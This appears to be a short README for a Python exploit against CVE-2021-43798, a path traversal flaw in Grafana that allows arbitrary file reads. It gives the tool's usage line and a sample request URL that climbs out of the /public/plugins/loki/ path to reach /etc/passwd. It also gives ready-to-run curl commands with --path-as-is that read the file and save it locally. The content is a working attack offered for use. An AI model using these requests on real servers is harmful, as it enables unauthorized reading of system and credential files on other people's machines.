
Python exploit for CVE-2021-43798, a Grafana path traversal vulnerability enabling arbitrary file read via directory traversal in plugin URLs.
usage: grafana-exploit.py [-h] -H/--host HOST grafana-exploit.py: error: the following arguments are required: -H/--host
example: python3 grafana-exploit.py --host <target_host>
if successfuly read arbitary-file situation show the request URL and curl command
[+]RequestURL
http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd
[+]curl_command
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd"
so if you wanna download file execute like above
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd" -o passwd